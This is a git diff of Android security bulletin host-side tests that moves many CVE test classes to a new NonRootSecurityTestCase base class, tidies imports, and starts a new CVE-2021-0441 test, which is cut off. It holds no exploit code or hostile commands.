@AsbSecurityTest(cveBugId = 139017101)
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java
index 1207d1a..5cae196 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java
@@ -16,21 +16,25 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.device.ITestDevice;
-import java.util.Scanner;
-
-import static org.hamcrest.core.Is.is;
import static org.hamcrest.CoreMatchers.not;
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
+import static org.hamcrest.core.Is.is;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assume.assumeThat;
import static org.junit.matchers.JUnitMatchers.containsString;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Scanner;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0018 extends SecurityTestCase {
+public class CVE_2020_0018 extends NonRootSecurityTestCase {
/**
* b/139945049
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
index 6689459..3d054f0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
@@ -18,17 +18,17 @@
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.compatibility.common.util.CrashUtils;
-
import java.util.Arrays;
-import java.util.ArrayList;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0034 extends SecurityTestCase {
+public class CVE_2020_0034 extends NonRootSecurityTestCase {
/**
* b/62458770
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
index 3a87304..8e913fa 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0037 extends SecurityTestCase {
+public class CVE_2020_0037 extends NonRootSecurityTestCase {
/**
* b/143106535
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
index c197972..3239482 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0038 extends SecurityTestCase {
+public class CVE_2020_0038 extends NonRootSecurityTestCase {
/**
* b/143109193
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
index 76ce470..eaf4141 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0039 extends SecurityTestCase {
+public class CVE_2020_0039 extends NonRootSecurityTestCase {
/**
* b/143155861
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
index 7c00d84..83e6b7a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0072 extends SecurityTestCase {
+public class CVE_2020_0072 extends NonRootSecurityTestCase {
/**
* b/147310271
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
index 7a09a25..8f285d0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
@@ -20,6 +20,7 @@
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
@@ -28,7 +29,7 @@
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0073 extends SecurityTestCase {
+public class CVE_2020_0073 extends NonRootSecurityTestCase {
/**
* b/147309942
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
index 614447c..f523d47 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0226 extends SecurityTestCase {
+public class CVE_2020_0226 extends NonRootSecurityTestCase {
/**
* b/150226994
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
index 237ed83..a6609a4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
@@ -20,15 +20,16 @@
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.regex.Pattern;
-
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.regex.Pattern;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0241 extends SecurityTestCase {
+public class CVE_2020_0241 extends NonRootSecurityTestCase {
/**
* b/151456667
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
index 2ba62bf..59c7370 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
@@ -17,13 +17,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0243 extends SecurityTestCase {
+public class CVE_2020_0243 extends NonRootSecurityTestCase {
/**
* b/151644303
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java
index 2bc254e..094eaea 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java
@@ -19,7 +19,7 @@
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -27,7 +27,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0338 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2020_0338 extends NonRootSecurityTestCase {
@AppModeFull
@AsbSecurityTest(cveBugId = 123700107)
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
index 12edb1a..524f2d6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
@@ -20,18 +20,19 @@
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.Arrays;
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0381 extends SecurityTestCase {
+public class CVE_2020_0381 extends NonRootSecurityTestCase {
/**
* b/150159669
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
index 72765d6..5bdf017 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
@@ -20,18 +20,19 @@
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.Arrays;
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0383 extends SecurityTestCase {
+public class CVE_2020_0383 extends NonRootSecurityTestCase {
/**
* b/150160279
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
index 34c66de..000e970 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
@@ -20,18 +20,19 @@
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.Arrays;
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0384 extends SecurityTestCase {
+public class CVE_2020_0384 extends NonRootSecurityTestCase {
/**
* b/150159906
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
index 0f9e7d2..b9ba127 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
@@ -20,18 +20,19 @@
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.Arrays;
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0385 extends SecurityTestCase {
+public class CVE_2020_0385 extends NonRootSecurityTestCase {
/**
* b/150160041
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java
index bff13f3..eac0339 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java
@@ -18,12 +18,15 @@
import android.platform.test.annotations.AsbSecurityTest;
import android.platform.test.annotations.SecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0420 extends SecurityTestCase {
+public class CVE_2020_0420 extends NonRootSecurityTestCase {
/**
* b/162383705
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java
index 27e202c..63c8128 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java
@@ -18,7 +18,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -27,7 +27,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0448 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2020_0448 extends NonRootSecurityTestCase {
static final String TEST_APP = "CVE-2020-0448.apk";
static final String TEST_PKG = "android.security.cts.CVE_2020_0448";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
index 84b45a0..af83080 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
@@ -18,13 +18,14 @@
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0458 extends SecurityTestCase {
+public class CVE_2020_0458 extends NonRootSecurityTestCase {
/**
* b/160265164
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java
index e3f6c26..c9b448f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java
@@ -18,12 +18,15 @@
import static org.junit.Assert.*;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_11164 extends SecurityTestCase {
+public class CVE_2020_11164 extends NonRootSecurityTestCase {
/**
* CVE-2020-11164
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java
index a15335a..a68d2e6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java
@@ -1,12 +1,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_11173 extends SecurityTestCase {
+public class CVE_2020_11173 extends NonRootSecurityTestCase {
/**
* CVE-2020-11173
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java
index 9664abf..c1df440 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java
@@ -4,12 +4,15 @@
import static org.junit.Assume.*;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_11282 extends SecurityTestCase {
+public class CVE_2020_11282 extends NonRootSecurityTestCase {
/**
* CVE-2020-11282
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
index a285cd3..a5e6557 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
@@ -16,14 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
-import org.junit.runner.RunWith;
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29374 extends SecurityTestCase {
+public class CVE_2020_29374 extends NonRootSecurityTestCase {
/**
* b/174737879
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
index db50504..c02a2ec 100755
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
@@ -16,14 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
-import org.junit.runner.RunWith;
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29661 extends SecurityTestCase {
+public class CVE_2020_29661 extends NonRootSecurityTestCase {
/**
* b/182917768
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
index 4b1bc22..9df42ae 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
@@ -22,7 +22,7 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.After;
import org.junit.Assert;
@@ -38,7 +38,7 @@
* collected from the hostside and reported accordingly.
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0305 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0305 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0305";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0305.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
index 2cd9f7a..c85c732 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0313 extends SecurityTestCase {
+public class CVE_2021_0313 extends NonRootSecurityTestCase {
/**
* b/170968514
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java
index 7487d15..1476e91 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java
@@ -18,7 +18,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -27,25 +27,24 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0315 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0315 extends NonRootSecurityTestCase {
static final String TEST_PKG = "android.security.cts.CVE_2021_0315";
- ITestDevice mDevice;
@After
public void tearDown() throws Exception {
- AdbUtils.runCommandLine("input keyevent KEYCODE_BACK", mDevice);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_BACK", getDevice());
}
@AsbSecurityTest(cveBugId = 169763814)
@Test
public void testPocCVE_2021_0315() throws Exception {
- mDevice = getDevice();
- uninstallPackage(mDevice, TEST_PKG);
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
/* Wake up the screen */
- AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", mDevice);
- AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", mDevice);
- AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", mDevice);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
installPackage("CVE-2021-0315.apk");
runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testOverlayButtonPresence");
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
index fa4b66b..15cdab5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
@@ -17,13 +17,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.compatibility.common.util.CrashUtils;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0330 extends SecurityTestCase {
+public class CVE_2021_0330 extends NonRootSecurityTestCase {
/**
* b/170732441
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
index 585d19b..71ce363 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
@@ -20,15 +20,16 @@
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.regex.Pattern;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0430 extends SecurityTestCase {
+public class CVE_2021_0430 extends NonRootSecurityTestCase {
/**
* b/178725766
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java
index fb7638c..6a22748 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0439 extends SecurityTestCase {
+public class CVE_2021_0439 extends NonRootSecurityTestCase {
/**
* b/174243830
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java
new file mode 100644
index 0000000..57b9a86
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0441 extends NonRootSecurityTestCase {
+ static final String TEST_PKG = "android.security.cts.CVE_2021_0441";
+ static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ static final String TEST_APP = "CVE-2021-0441.apk";
+
+ /**
+ * b/174495520
+ */
+ @AsbSecurityTest(cveBugId = 174495520)
+ @Test
